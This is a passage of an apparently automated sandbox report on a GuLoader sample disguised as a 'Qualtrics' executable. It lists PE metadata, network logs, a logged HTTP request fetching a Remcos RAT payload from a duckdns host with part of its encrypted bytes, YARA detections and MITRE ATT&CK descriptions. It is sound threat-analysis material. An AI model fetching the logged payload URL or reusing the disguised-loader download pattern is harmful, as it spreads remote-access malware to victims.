IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2d000	0xbea	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x198	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29864	0x2a000	False	0.506946382068	data	6.92804161947	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x2b000	0x11e8	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2d000	0xbea	0x1000	False	0.253173828125	data	3.21209329916	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
CUSTOM	0x2d990	0x25a	ASCII text, with CRLF line terminators	English	United States
RT_ICON	0x2d860	0x130	data
RT_ICON	0x2d578	0x2e8	data
RT_ICON	0x2d450	0x128	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x2d420	0x30	data
RT_VERSION	0x2d1a0	0x280	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaAryMove, __vbaLenBstr, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaStrCat, __vbaSetSystemError, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaCyStr, __vbaVarTstLt, _CIsin, __vbaErase, __vbaChkstk, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaAryConstruct2, __vbaVarTstEq, __vbaR4Str, __vbaI2I4, __vbaObjVar, DllFunctionCall, _adj_fpatan, __vbaRedim, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaFpCmpCy, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaStrVarVal, _CIlog, __vbaErrorOverflow, __vbaFileOpen, __vbaNew2, __vbaVar2Vec, __vbaInStr, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaVarAdd, __vbaVarDup, __vbaStrToAnsi, _CIatan, __vbaStrMove, __vbaCastObj, _allmul, __vbaLateIdSt, _CItan, _CIexp, __vbaFreeStr, __vbaFreeObj

Version Infos

Description	Data
Translation	0x0409 0x04b0
InternalName	Srklasse4
FileVersion	1.04
CompanyName	Qualtrics
Comments	Qualtrics
ProductName	Qualtrics
ProductVersion	1.04
FileDescription	Qualtrics
OriginalFilename	Srklasse4.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
09/27/21-14:57:47.315553	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	49958	8.8.8.8	192.168.2.7
09/27/21-14:57:48.635027	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	50860	8.8.8.8	192.168.2.7

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 14:57:47.350785017 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.463856936 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.464104891 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.465127945 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.578341961 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.578381062 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.578398943 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.578416109 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.578430891 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.578505039 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.578546047 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.690390110 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.690427065 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.690449953 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.690466881 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.690485954 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.690504074 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.690517902 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.690521955 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.690558910 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.690594912 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.690618038 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.690635920 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.690679073 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.802376986 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.802423954 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.802452087 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.802475929 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.802501917 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.802524090 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.802524090 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.802566051 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.802575111 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.802589893 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.802591085 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.802618980 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.802630901 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.802670956 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.804008961 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.804047108 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.804071903 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.804091930 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.804111958 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.804124117 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.804142952 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.804162979 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.804172993 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.804683924 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.914715052 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.914762974 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.914791107 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.914814949 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.914835930 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.914854050 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.914988995 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.915056944 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.915087938 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.915136099 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.915169954 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.915191889 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.915219069 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.915242910 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.915263891 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.915283918 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.915307045 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.915329933 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.915369034 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.915390015 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.915405989 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.915401936 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.915437937 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.915452003 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.916304111 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.916440964 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.916490078 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.916513920 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.916532993 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.916591883 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.916614056 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.916635036 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.916656017 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.916655064 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.916681051 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.916698933 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.916735888 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.916826010 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.916825056 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:47.916837931 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:47.916981936 CEST	49892	80	192.168.2.7	23.146.242.85
Sep 27, 2021 14:57:48.027556896 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:48.027601004 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:48.027731895 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:48.027760029 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:48.027785063 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:48.027807951 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:48.027832031 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:48.028039932 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:48.028068066 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:48.028091908 CEST	80	49892	23.146.242.85	192.168.2.7
Sep 27, 2021 14:57:48.028114080 CEST	80	49892	23.146.242.85	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 14:53:40.019715071 CEST	51837	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:53:40.038727045 CEST	53	51837	8.8.8.8	192.168.2.7
Sep 27, 2021 14:53:56.642399073 CEST	55411	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:53:56.714075089 CEST	53	55411	8.8.8.8	192.168.2.7
Sep 27, 2021 14:54:13.171747923 CEST	63668	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:54:13.185282946 CEST	53	63668	8.8.8.8	192.168.2.7
Sep 27, 2021 14:54:49.375288963 CEST	54640	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:54:49.444178104 CEST	53	54640	8.8.8.8	192.168.2.7
Sep 27, 2021 14:54:50.523938894 CEST	58739	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:54:50.603393078 CEST	53	58739	8.8.8.8	192.168.2.7
Sep 27, 2021 14:54:51.122011900 CEST	60338	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:54:51.135569096 CEST	53	60338	8.8.8.8	192.168.2.7
Sep 27, 2021 14:54:51.475680113 CEST	58717	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:54:51.488689899 CEST	53	58717	8.8.8.8	192.168.2.7
Sep 27, 2021 14:54:52.002674103 CEST	59762	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:54:52.083827972 CEST	53	59762	8.8.8.8	192.168.2.7
Sep 27, 2021 14:54:52.514565945 CEST	54329	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:54:52.528856993 CEST	53	54329	8.8.8.8	192.168.2.7
Sep 27, 2021 14:54:52.560240030 CEST	58052	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:54:52.589730978 CEST	53	58052	8.8.8.8	192.168.2.7
Sep 27, 2021 14:54:53.090322018 CEST	54008	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:54:53.103915930 CEST	53	54008	8.8.8.8	192.168.2.7
Sep 27, 2021 14:54:53.760950089 CEST	59451	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:54:53.774543047 CEST	53	59451	8.8.8.8	192.168.2.7
Sep 27, 2021 14:54:54.595487118 CEST	52914	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:54:54.609592915 CEST	53	52914	8.8.8.8	192.168.2.7
Sep 27, 2021 14:54:55.214437008 CEST	64569	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:54:55.274261951 CEST	53	64569	8.8.8.8	192.168.2.7
Sep 27, 2021 14:55:01.889481068 CEST	52816	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:55:01.909058094 CEST	53	52816	8.8.8.8	192.168.2.7
Sep 27, 2021 14:55:34.090076923 CEST	50781	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:55:34.103554964 CEST	53	50781	8.8.8.8	192.168.2.7
Sep 27, 2021 14:55:34.227729082 CEST	54230	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:55:34.241355896 CEST	53	54230	8.8.8.8	192.168.2.7
Sep 27, 2021 14:56:09.455324888 CEST	54911	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:56:09.470839977 CEST	53	54911	8.8.8.8	192.168.2.7
Sep 27, 2021 14:57:47.200725079 CEST	49958	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:57:47.315552950 CEST	53	49958	8.8.8.8	192.168.2.7
Sep 27, 2021 14:57:48.519510984 CEST	50860	53	192.168.2.7	8.8.8.8
Sep 27, 2021 14:57:48.635026932 CEST	53	50860	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 27, 2021 14:57:47.200725079 CEST	192.168.2.7	8.8.8.8	0xd3d3	Standard query (0)	dypage.duckdns.org	A (IP address)	IN (0x0001)
Sep 27, 2021 14:57:48.519510984 CEST	192.168.2.7	8.8.8.8	0xe898	Standard query (0)	dyn-wave.duckdns.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 27, 2021 14:57:47.315552950 CEST	8.8.8.8	192.168.2.7	0xd3d3	No error (0)	dypage.duckdns.org		23.146.242.85	A (IP address)	IN (0x0001)
Sep 27, 2021 14:57:48.635026932 CEST	8.8.8.8	192.168.2.7	0xe898	No error (0)	dyn-wave.duckdns.org		23.146.241.70	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

dypage.duckdns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49892	23.146.242.85	80	C:\Users\user\Desktop\DW1VgsgHNU.exe

Timestamp	kBytes transferred	Direction	Data
Sep 27, 2021 14:57:47.465127945 CEST	8143	OUT	GET /remcos_d_QUBXVO174.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: dypage.duckdns.org Cache-Control: no-cache
Sep 27, 2021 14:57:47.578341961 CEST	8144	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Sun, 26 Sep 2021 08:30:43 GMT Accept-Ranges: bytes ETag: "119daccbb0b2d71:0" Server: Microsoft-IIS/8.5 Date: Mon, 27 Sep 2021 12:57:47 GMT Content-Length: 469056 Data Raw: 85 72 65 da fa 84 5d ef 15 48 c7 41 95 63 98 4c 63 5c 6a c2 3d 2e 3a e3 ec 0a 1a e6 db fd dd c6 fc 00 3b 08 52 f8 0f c5 51 c6 12 00 b4 f2 2d 4e 7c 5c d4 19 c5 66 d6 f6 9f 3d 55 40 d3 5a 1a 51 5a d4 5a b4 d7 4e 5d 9c c8 d6 64 64 7a 23 4e b3 10 1b 3f a3 f8 15 94 93 f4 27 de 3a 43 d1 26 a4 f0 36 5e ef 78 e6 dd 4b 1f 40 e0 5b 05 12 8e e3 b3 6a a2 48 8d fe 13 86 0f 01 3b e4 e7 fd 24 3b ff 58 78 e6 91 3f 5c 9d 54 a0 ce 0d 92 64 eb 2a a5 20 4e 5b af bc 28 bf fd 7a be ad ff 17 f6 14 28 9a 4e e8 85 5c 75 ba f0 cb c4 71 50 13 15 48 bb a5 eb 21 ea 51 9b 09 ed 8f 8a 15 22 80 64 de 02 97 bf eb 22 b7 53 85 85 5a ef 47 43 0f 28 50 b0 b6 89 91 4a ee da 68 54 01 3a 07 44 0b 84 c7 5d 03 b4 2c d3 60 48 3a 57 8a 60 f0 13 1b 25 b2 dd 4f 24 c9 5c d8 f8 1a 16 55 10 a7 0e b2 54 2f a0 98 39 61 7b f9 b4 7c f8 42 d5 70 8f e6 76 71 ef 68 15 89 cd 1e 6d c2 b9 63 39 60 81 3b 84 83 e6 65 a4 60 1c f9 40 62 30 ec 9b 64 2f 73 33 54 d5 d7 b0 18 f1 a5 0d ac f0 83 ad 9f 76 4d 5d b4 c2 61 85 30 38 73 17 4b a0 a1 b5 65 79 f0 61 e1 60 a1 1e d1 24 bd b4 05 19 90 e9 05 d7 44 28 e4 97 cd ac fc aa 02 9f 88 c3 a4 c3 72 50 c0 fb d6 27 91 93 b6 64 e7 f7 e7 5d b9 e7 98 74 69 ba 95 5e 8b b2 e6 26 eb 31 e7 d8 dd 04 f3 55 41 c1 a2 41 92 b2 9e 38 57 6f 03 59 51 3c 1c 24 99 eb 85 2d 95 35 b2 95 38 b4 f4 5d 94 d2 1d de 01 ad cd 3b cd f0 c3 c1 7c cd ac e1 25 d4 79 b4 d3 9f 42 16 8c 4f 82 14 1d cd cf 60 8b f5 35 b4 40 ad 45 eb 32 6c 64 9a 18 41 3a 7c ce a2 35 9e 80 48 d5 d8 4b 8f 6d 11 8b 11 1f dc 9c 34 8c 45 89 b9 da 0b 2d d3 5f 03 2f 66 57 90 b3 e5 a2 3e 8f db af 0c 26 ed 66 f2 8b 4d 0d be 3c 01 c0 bf 4a cf 3b d0 a2 24 27 c7 e2 f3 f7 6c cc c5 4f 95 fc 69 f4 6a 33 21 ae 79 46 9f 63 df c5 d9 35 fd 2d 91 95 fa be eb 65 d4 8e 88 e0 49 61 c8 e5 c1 64 11 56 d2 78 da 5a a0 ef fe fb d1 e7 99 25 8e 71 ac 71 67 5f ac 3b a4 01 98 3b af 3a 18 4a e4 d1 09 01 df 3d 19 a6 2e 59 36 06 18 54 61 eb f4 7c 87 8f bf 74 1d 6e 45 de e3 8f c9 1d e8 64 86 8c c7 3f dc 31 83 17 1d a6 3a d1 d7 f7 1e 7f c5 f6 0f 47 9e fe e7 1c f6 9e fd 3e 12 b3 cb 57 60 c0 45 25 5f fb 5a 3d 19 ce a8 92 df 6b a1 6e 22 77 86 43 ec 70 7c 59 19 0d 5a 2d 62 c1 86 84 07 26 e3 fe 87 ff 40 fe f5 66 3b ec 6d 00 4c cc 91 69 ae d5 bd 75 a6 d5 8a 18 6f 66 20 93 e6 a1 6b 9b ac f5 34 83 6e b9 05 67 e8 ba 9a c9 75 cf e9 ba 3a 64 69 73 d2 14 2f cf 59 ce 2c 87 0b f5 22 c6 d3 3e 21 99 83 04 bd af fb 74 72 3d f1 bf d5 f5 73 1a f6 51 a8 e5 ed fb f7 3c 18 70 a3 a7 52 e4 41 cf bd f1 69 d6 d1 b9 4e 81 72 b4 2e 38 50 9e 73 f7 49 ee 52 35 1b 3e c4 0c da 83 50 12 b1 a0 8a 06 40 d2 4b 4b 80 be 32 9f ff c1 fa ed ec ac 2c d8 a9 18 d2 69 c8 86 30 ee 1a e1 61 08 2a 4a 37 dd 5a 48 41 d5 ac fa 8a e8 f1 49 f8 81 30 c4 c9 00 30 70 0b 57 5b 99 cb 09 e5 4f a2 fa c8 52 f2 5a 4e 80 dd 89 ad 4d 26 2f f7 72 18 24 b7 38 b5 02 e7 17 2e f3 f9 56 40 ce 8f 79 5b af c8 0c 15 17 8e ca b4 d4 4e 5d 9c cc d6 64 64 85 dc 4e b3 a8 1b 3f a3 f8 15 94 93 b4 27 de 3a 43 d1 26 a4 f0 36 5e ef 78 e6 dd 4b 1f 40 e0 5b 05 12 8e e3 b3 6a a2 48 8d fe 13 86 0f 01 3b e4 f7 fc 24 3b f1 47 c2 e8 91 8b 55 50 75 18 cf 41 5f 45 bf 42 cc 53 6e 2b dd d3 4f cd 9c 17 9e ce 9e 79 98 7b 5c ba 2c 8d a5 2e 00 d4 d0 a2 aa 51 14 5c 46 68 d6 ca 8f 44 c4 5c 96 03 c9 8f 8a 15 22 80 64 de a8 14 fd db cc 55 7f e6 6b b8 c3 24 ad ed 04 33 ea c8 54 f2 b6 0c f6 0b 0e 7f e5 64 0b e9 a8 a4 07 c4 8a 8f 65 82 8c 3a bf Data Ascii: re]HAcLc\j=.:;RQ-N\|\f=U@ZQZZN]ddz#N?':C&6^xK@[jH;$;Xx?\Td* N[(z(N\uqPH!Q"d"SZGC(PJhT:D],`H:W`%O$\UT/9a{\|Bpvqhmc9`;e`@b0d/s3TvM]a08sKeya`$D(rP'd]ti^&1UAA8WoYQ<$-58];\|%yBO`5@E2ldA:\|5HKm4E-_/fW>&fM<J;$'lOij3!yFc5-eIadVxZ%qqg_;;:J=.Y6Ta\|tnEd?1:G>W`E%_Z=kn"wCp\|YZ-b&@f;mLiuof k4ngu:dis/Y,">!tr=sQ<pRAiNr.8PsIR5>P@KK2,i0a*J7ZHAI00pW[ORZNM&/r$8.V@y[N]ddN?':C&6^xK@[jH;$;GUPuA_EBSn+Oy{\,.Q\FhD\"dUk$3Tde:

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: DW1VgsgHNU.exe PID: 6420 Parent PID: 4216

General

Start time:	14:53:45
Start date:	27/09/2021
Path:	C:\Users\user\Desktop\DW1VgsgHNU.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\DW1VgsgHNU.exe'
Imagebase:	0x400000
File size:	184320 bytes
MD5 hash:	B30B9C1D23026FF24F234A07A557DC83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.499884696.00000000005A0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: DW1VgsgHNU.exe PID: 2800 Parent PID: 6420

General

Start time:	14:55:44
Start date:	27/09/2021
Path:	C:\Users\user\Desktop\DW1VgsgHNU.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\DW1VgsgHNU.exe'
Imagebase:	0x400000
File size:	184320 bytes
MD5 hash:	B30B9C1D23026FF24F234A07A557DC83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000019.00000002.767385154.0000000000948000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	low

Disassembly

Code Analysis

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Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
